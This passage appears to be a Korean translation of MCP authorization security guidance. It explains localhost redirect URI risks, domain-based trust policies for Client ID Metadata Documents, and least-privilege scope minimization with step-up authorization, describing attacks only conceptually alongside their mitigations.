localhost포트에든 바인딩하고 그 주소를 redirect_uri로 제공 - 사용자가 승인할 때 리다이렉트를 통해 인증 코드 수신
서버는 정당한 클라이언트의 메타데이터 문서를 볼 것이고, 사용자는 정당한 클라이언트의 이름을 볼 것이므로 공격 탐지가 어렵습니다.
완화 대책¶
인증 서버에 기대되는 대응책은 인증 스펙의 Localhost 리다이렉트 URI 위험(Localhost Redirect URI Risks)을 참조하세요. 여기에는 localhost 전용 리다이렉트 URI에 대한 추가 경고 표시와, 인증 중 리다이렉트 URI 호스트명을 명확히 표시하는 것이 포함됩니다.
CIMD 신뢰 정책 (CIMD Trust Policies)¶
Client ID 메타데이터 문서를 수용하는 인증 서버는 어떤 URL 기반 클라이언트 ID를 받아들일지 결정하기 위해 도메인 기반 신뢰 정책을 적용할 수 있습니다.
- 신뢰 도메인 허용 목록(보호된 서버용)
- 모든 HTTPS
client_id수용(공개 서버용) - 알 수 없는 도메인에 대한 평판 검사
- 도메인 연식 또는 인증서 검증에 기반한 제한
- 피싱을 막기 위해 CIMD 및 기타 연관 클라이언트 호스트명을 눈에 띄게 표시
서버는 접근 정책을 완전히 통제합니다. 자세한 내용은 인증 스펙의 신뢰 정책(Trust Policies)과 Client ID 메타데이터 문서 스펙의 Section 6.4 및 Section 6.8을 참조하세요.
스코프 최소화 (Scope Minimization)¶
잘못된 스코프 설계는 토큰 손상의 영향을 키우고, 사용자 마찰을 높이며, 감사 추적을 모호하게 만듭니다.
공격 설명¶
공격자가(로그 유출, 메모리 스캐닝, 로컬 가로채기를 통해) 넓은 스코프(files:*, db:*, admin:*)를 가진 액세스 토큰을 얻습니다. 이 토큰은 MCP 서버가 scopes_supported에 모든 스코프를 노출하고 클라이언트가 모두 요청했기 때문에 미리 부여된 것입니다. 이 토큰은 전체 표면에 대한 재동의 없이 측면 데이터 접근, 권한 체이닝, 어려운 폐기를 가능하게 합니다.
위험¶
- 확장된 폭발 반경(Expanded blast radius): 훔친 넓은 토큰이 무관한 도구/리소스 접근을 가능하게 합니다.
- 폐기의 높은 마찰(Higher friction on revocation): 최대 권한 토큰 폐기가 모든 워크플로를 중단시킵니다.
- 감사 노이즈(Audit noise): 단일 포괄 스코프가 작업별 사용자 의도를 가립니다.
- 권한 체이닝(Privilege chaining): 공격자가 추가 승격 프롬프트 없이 즉시 고위험 도구를 호출할 수 있습니다.
- 동의 포기(Consent abandonment): 사용자가 과도한 스코프를 나열한 대화 상자를 거부합니다.
- 스코프 인플레이션 맹점(Scope inflation blindness): 지표가 없어 과도한 요청이 정상화됩니다.
완화 대책¶
점진적이고 최소 권한의 스코프 모델을 구현하세요.
- 위험도가 낮은 발견/읽기 작업만 포함하는 최소 초기 스코프 집합(예:
mcp:tools-basic) - 권한 작업이 처음 시도될 때
WWW-Authenticate의scope="..."챌린지를 통한 점진적 승격 - 하향 스코프 허용: 서버는 축소된 스코프 토큰을 수용해야 하며, 인증 서버는 요청된 스코프의 부분 집합을 발급할 수 있습니다(MAY).
서버 지침:
- 정밀한 스코프 챌린지를 발행하고, 전체 카탈로그를 반환하지 않기
- 상관관계 ID와 함께 승격 이벤트(요청된 스코프, 부여된 부분 집합) 로깅
서버는 포함할 스코프 결정에 유연성이 있습니다.
- 최소 접근: 오류를 유발한 특정 작업에 필요한 스코프만 포함.
- 권장 접근: 현재 작업에 필요한 스코프를, 흔히 함께 동작하는 관련 스코프와 함께 포함해 단계적 인증 라운드 수를 줄임.
- 확장 접근: 현재 작업에 필요한 스코프, 관련 스코프, 그리고 서버가 가까운 미래에 클라이언트가 필요할 것으로 예상하는 다른 스코프를 포함.
선택은 서버가 판단한 사용자 경험 영향과 인증 마찰에 따라 달라집니다.
클라이언트 지침:
- 기본 스코프(또는 초기
WWW-Authenticate가 지정한 스코프)로만 시작 - 거부된 스코프에 대한 반복 승격 루프를 피하기 위해 최근 실패를 캐시
초기 WWW-Authenticate 챌린지가 scope 파라미터를 담지 않으면, 스코프 선택 전략(Scope Selection Strategy)은 클라이언트가 scopes_supported에 나열된 모든 스코프를 요청하는 것으로 폴백하도록 안내합니다. 이 접근은 MCP 클라이언트의 범용적 성격을 수용합니다. MCP 클라이언트는 일반적으로 개별 스코프 선택에 대한 정보에 입각한 결정을 내릴 도메인별 지식이 부족하기 때문입니다. 사용 가능한 모든 스코프를 요청하면 인증 서버와 최종 사용자가 동의 과정에서 적절한 권한을 결정할 수 있어, 최소 권한 원칙을 따르면서도 사용자 마찰을 최소화합니다.
작업 전반의 스코프 누적은 클라이언트 측 책임입니다. 클라이언트는 단계적 인증 흐름(Step-Up Authorization Flow)에서 설명된 대로 재인증을 시작할 때 이전에 요청한 스코프와 새로 챌린지된 스코프의 합집합을 계산해야 합니다(SHOULD). 이렇게 하면 서버는 클라이언트 스코프 집합에 대해 무상태를 유지하면서도, 클라이언트가 이전에 부여된 권한을 잃지 않도록 보장합니다.
계층적 스코프(Hierarchical scopes): 일부 인증 서버는 넓은 스코프가 좁은 스코프를 함의하는 스코프 계층을 정의합니다(예: read를 내포하는 admin 스코프). 스코프를 누적할 때 클라이언트의 합집합에 의미상 중복된 항목이 포함될 수 있습니다. 예를 들어 이전에 넓은 스코프가 부여된 토큰이, 이미 내포하고 있는 더 좁은 스코프로 챌린지될 수 있습니다. 클라이언트가 계층을 중복 제거할 필요는 없습니다. 인증 서버는 일반적으로 토큰 발급 시 그러한 중복을 정규화합니다. 서버는 작업에 토큰이 충분한지 판단할 때 계층을 고려해야 하지만, 이는 서버가 챌린지에서 발급하는 스코프에는 영향을 주지 않습니다.
흔한 실수¶
scopes_supported에 가능한 모든 스코프를 게시- 와일드카드나 포괄 스코프(
*,all,full-access) 사용 - 미래 프롬프트를 선점하려고 무관한 권한을 묶음
- 모든 챌린지에서 전체 스코프 카탈로그 반환
- 버전 관리 없이 스코프 의미를 조용히 변경
- 서버 측 인증 로직 없이 토큰의 스코프 클레임을 충분한 것으로 취급
적절한 최소화는 손상 영향을 제한하고, 감사 명확성을 높이며, 동의 마찰을 줄입니다.